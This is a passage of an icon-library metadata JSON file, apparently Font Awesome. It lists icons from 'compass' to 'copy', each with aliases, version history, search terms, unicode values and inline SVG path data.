        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm50.7-186.9L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      },
      "regular": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm306.7 69.1L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm306.7 69.1L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "compass-drafting": {
    "aliases": {
      "names": ["drafting-compass"],
      "unicodes": {
        "secondary": ["10f568"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "map", "mechanical drawing", "plot", "plotting"]
    },
    "styles": ["solid"],
    "unicode": "f568",
    "label": "Compass Drafting",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 96c0 14.3-3.1 27.9-8.8 40.2L396 227.4c-23.7 25.3-54.2 44.1-88.5 53.6L256 192h0 0l-68 117.5c21.5 6.8 44.3 10.5 68.1 10.5c70.7 0 133.8-32.7 174.9-84c11.1-13.8 31.2-16 45-5s16 31.2 5 45C428.1 341.8 347 384 256 384c-35.4 0-69.4-6.4-100.7-18.1L98.7 463.7C94 471.8 87 478.4 78.6 482.6L23.2 510.3c-5 2.5-10.9 2.2-15.6-.7S0 501.5 0 496V440.6c0-8.4 2.2-16.7 6.5-24.1l60-103.7C53.7 301.6 41.8 289.3 31.2 276c-11.1-13.8-8.8-33.9 5-45s33.9-8.8 45 5c5.7 7.1 11.8 13.8 18.2 20.1l69.4-119.9c-5.6-12.2-8.8-25.8-8.8-40.2c0-53 43-96 96-96s96 43 96 96zm21 297.9c32.6-12.8 62.5-30.8 88.9-52.9l43.7 75.5c4.2 7.3 6.5 15.6 6.5 24.1V496c0 5.5-2.9 10.7-7.6 13.6s-10.6 3.2-15.6 .7l-55.4-27.7c-8.4-4.2-15.4-10.8-20.1-18.9L373 393.9zM256 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 96c0 14.3-3.1 27.9-8.8 40.2L396 227.4c-23.7 25.3-54.2 44.1-88.5 53.6L256 192h0 0l-68 117.5c21.5 6.8 44.3 10.5 68.1 10.5c70.7 0 133.8-32.7 174.9-84c11.1-13.8 31.2-16 45-5s16 31.2 5 45C428.1 341.8 347 384 256 384c-35.4 0-69.4-6.4-100.7-18.1L98.7 463.7C94 471.8 87 478.4 78.6 482.6L23.2 510.3c-5 2.5-10.9 2.2-15.6-.7S0 501.5 0 496V440.6c0-8.4 2.2-16.7 6.5-24.1l60-103.7C53.7 301.6 41.8 289.3 31.2 276c-11.1-13.8-8.8-33.9 5-45s33.9-8.8 45 5c5.7 7.1 11.8 13.8 18.2 20.1l69.4-119.9c-5.6-12.2-8.8-25.8-8.8-40.2c0-53 43-96 96-96s96 43 96 96zm21 297.9c32.6-12.8 62.5-30.8 88.9-52.9l43.7 75.5c4.2 7.3 6.5 15.6 6.5 24.1V496c0 5.5-2.9 10.7-7.6 13.6s-10.6 3.2-15.6 .7l-55.4-27.7c-8.4-4.2-15.4-10.8-20.1-18.9L373 393.9zM256 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "compress": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f066"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f066",
    "label": "Compress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V64zM32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zM352 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V64zM320 320c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V64zM32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zM352 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V64zM320 320c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z"
      }
    },
    "free": ["solid"]
  },
  "computer": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "desktop", "display", "monitor", "tower"]
    },
    "styles": ["solid"],
    "unicode": "e4e5",
    "label": "Computer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 96V320H64L64 96H384zM64 32C28.7 32 0 60.7 0 96V320c0 35.3 28.7 64 64 64H181.3l-10.7 32H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H277.3l-10.7-32H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm464 0c-26.5 0-48 21.5-48 48V432c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H528zm16 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16s7.2-16 16-16zm-16 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 96V320H64L64 96H384zM64 32C28.7 32 0 60.7 0 96V320c0 35.3 28.7 64 64 64H181.3l-10.7 32H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H277.3l-10.7-32H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm464 0c-26.5 0-48 21.5-48 48V432c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H528zm16 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16s7.2-16 16-16zm-16 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "computer-mouse": {
    "aliases": {
      "names": ["mouse"],
      "unicodes": {
        "composite": ["1f5b1"],
        "secondary": ["10f8cc"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "click",
        "computer",
        "computer mouse",
        "cursor",
        "input",
        "peripheral"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8cc",
    "label": "Computer Mouse",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 192H176V0H160C71.6 0 0 71.6 0 160v32zm0 32V352c0 88.4 71.6 160 160 160h64c88.4 0 160-71.6 160-160V224H192 0zm384-32V160C384 71.6 312.4 0 224 0H208V192H384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 192H176V0H160C71.6 0 0 71.6 0 160v32zm0 32V352c0 88.4 71.6 160 160 160h64c88.4 0 160-71.6 160-160V224H192 0zm384-32V160C384 71.6 312.4 0 224 0H208V192H384z"
      }
    },
    "free": ["solid"]
  },
  "confluence": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f78d",
    "label": "Confluence",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"
      }
    },
    "free": ["brands"]
  },
  "connectdevelop": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f20e",
    "label": "Connect Develop",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"
      }
    },
    "free": ["brands"]
  },
  "contao": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26d",
    "label": "Contao",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"
      }
    },
    "free": ["brands"]
  },
  "cookie": {
    "aliases": {
      "unicodes": {
        "composite": ["1f36a"],
        "secondary": ["10f563"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "baked good",
        "chips",
        "chocolate",
        "cookie",
        "dessert",
        "eat",
        "snack",
        "sweet",
        "treat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f563",
    "label": "Cookie",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M247.2 17c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9l-14.6-82.8c-3.9-22.1-14.6-42.3-30.7-57.9L388.9 57.5c-16.1-15.6-36.6-25.6-58.7-28.7L247.2 17zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M247.2 17c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9l-14.6-82.8c-3.9-22.1-14.6-42.3-30.7-57.9L388.9 57.5c-16.1-15.6-36.6-25.6-58.7-28.7L247.2 17zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "cookie-bite": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f564"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "baked good",
        "bitten",
        "chips",
        "chocolate",
        "eat",
        "snack",
        "sweet",
        "treat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f564",
    "label": "Cookie Bite",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9c-.9-5.3-5.3-9.3-10.6-10.1c-51.5-8.2-92.8-47.1-104.5-97.4c-1.8-7.6-8-13.4-15.7-14.6c-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9c-.9-5.3-5.3-9.3-10.6-10.1c-51.5-8.2-92.8-47.1-104.5-97.4c-1.8-7.6-8-13.4-15.7-14.6c-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "copy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c5"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clone", "duplicate", "file", "files-o", "paper", "paste"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c5",
    "label": "Copy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M208 0H332.1c12.7 0 24.9 5.1 33.9 14.1l67.9 67.9c9 9 14.1 21.2 14.1 33.9V336c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V48c0-26.5 21.5-48 48-48zM48 128h80v64H64V448H256V416h64v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M208 0H332.1c12.7 0 24.9 5.1 33.9 14.1l67.9 67.9c9 9 14.1 21.2 14.1 33.9V336c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V48c0-26.5 21.5-48 48-48zM48 128h80v64H64V448H256V416h64v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 336H192c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16l140.1 0L400 115.9V320c0 8.8-7.2 16-16 16zM192 384H384c35.3 0 64-28.7 64-64V115.9c0-12.7-5.1-24.9-14.1-33.9L366.1 14.1c-9-9-21.2-14.1-33.9-14.1H192c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H256c35.3 0 64-28.7 64-64V416H272v32c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H96V128H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
